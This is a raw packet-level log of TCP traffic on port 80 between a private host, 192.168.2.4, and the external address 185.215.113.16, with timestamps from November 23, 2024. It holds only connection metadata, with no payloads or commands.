Nov 23, 2024 15:22:24.097943068 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.098741055 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.098803997 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.247337103 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.247415066 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.247451067 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.247518063 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.247822046 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.247858047 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.247885942 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.247941971 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.248882055 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.248917103 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.248948097 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.249140024 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.249942064 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.249979019 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.250013113 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.250040054 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.250943899 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.251159906 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.251224995 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.252016068 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.252051115 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.252084017 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.252115965 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.253061056 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.253094912 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.253125906 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.253156900 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.253400087 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.253434896 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.253499031 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.254899025 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.254966021 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.255098104 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.255214930 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.256109953 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.256145000 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.256180048 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.256203890 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.257088900 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.257165909 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.257225037 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.257281065 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.258157015 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.258219004 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.258332014 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.258378983 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.259016037 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.259083986 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.259166956 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.259330034 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.260216951 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.260255098 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.260288000 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.260318995 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.261214972 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.261286974 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.261370897 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.261521101 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.262243986 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.262280941 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.262306929 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.262342930 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.263267040 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.263300896 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.263344049 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.263370037 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.264322042 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.264512062 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.264590025 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.265376091 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.265410900 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.265443087 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.265472889 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.266207933 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.266244888 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.266269922 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.266278982 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.266314983 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.266344070 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.266359091 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.267100096 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.267170906 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.267239094 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.268186092 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.268251896 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.268276930 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.268379927 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.269207954 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.269279003 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.269299984 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.269376040 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.270206928 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.270266056 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.270319939 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.271275997 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.271353960 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.271377087 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.271435022 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.272284985 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.272355080 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.272413015 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.272613049 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.273305893 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.273375034 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.273426056 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.273503065 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.274363995 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.274432898 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.274519920 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.274743080 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.275377989 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.275443077 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.275480986 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.275544882 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.276561022 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.276597977 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.276631117 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.276668072 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.277435064 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.277566910 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.277637005 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.278461933 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.278572083 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.278640985 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.279486895 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.279553890 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.279628038 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.279678106 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.280504942 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.280567884 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.280637026 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.280761003 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.281570911 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.281641006 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.281672001 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.281725883 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.282557011 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.282625914 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.282653093 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.282710075 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.283608913 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.283669949 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.283736944 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.283783913 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.284624100 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.284687996 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.284730911 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.284873962 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.285672903 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.285743952 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.285753965 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.285830975 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.286691904 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.286761045 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.286796093 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.286845922 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.287704945 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.287770987 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.287842989 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.287898064 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.288733959 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.288861036 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.288896084 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.288924932 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.289777994 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.289881945 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.289904118 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.289967060 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.290791988 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.290863991 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.290916920 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.290997982 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.291842937 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.291913986 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.291973114 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.292040110 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.292860985 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.292980909 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.293045044 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.293893099 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.293967009 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.294035912 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.294101954 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.294917107 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.295038939 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.295104980 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.295949936 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.296016932 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.296084881 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.296155930 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.296977997 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.297034025 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.297080040 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.297171116 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.298036098 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.298137903 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.298166037 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.298209906 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.299032927 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.299093008 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.299164057 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.299232960 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.300017118 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.300081015 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.447597027 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.447741985 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.447981119 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.448071003 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.448112011 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.449002028 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.449058056 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.449070930 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.450026035 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.450027943 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.450098038 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.450164080 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.451054096 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.451194048 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.451251030 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.452080011 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.452207088 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.452275991 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.453152895 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.453231096 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.453295946 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.454142094 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.454211950 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.454257011 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.454448938 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.455202103 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.455261946 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.455288887 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.455387115 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.456238985 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.456304073 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.456408024 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.456473112 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.457225084 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.457346916 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.457365036 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.457422972 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.458265066 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.458321095 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.458321095 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.458430052 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.459265947 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.459347010 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.459399939 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.459460020 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.460311890 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.460367918 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.460433006 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.460654974 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.461337090 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.461394072 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.461467028 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.461532116 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.462419987 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.462488890 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.462574959 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.462650061 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.463413954 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.463495970 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.463526011 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.463615894 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.464418888 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.464477062 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.464549065 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.464597940 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.465451956 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.465569019 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.465610981 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.465667009 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.466511011 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.466569901 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.466622114 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.466731071 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.467499971 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.467551947 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.467638016 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.467719078 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.468550920 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.468601942 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.468651056 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.468696117 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.469600916 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.469655991 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.469719887 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.469774008 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.470604897 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.470725060 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.470726967 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.470782995 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.471616030 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.471678019 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.471734047 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.471872091 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.472661018 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.472723961 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.472779989 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.472929001 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.473717928 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.473774910 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.473829031 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.474040985 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.474716902 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.474766016 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.474833012 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.474886894 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.475745916 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.475810051 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.475866079 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.475930929 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.476871014 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.476916075 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.476960897 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.477022886 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.477807045 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.477878094 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.477905989 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.477967978 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.478851080 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.478904963 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.478944063 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.479003906 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.479882002 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.479937077 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.479990005 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.480040073 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.480870962 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.480952978 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.480954885 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.481008053 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.481933117 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.481985092 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.482053041 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.482121944 CET	49795	80	192.168.2.4	185.215.113.16
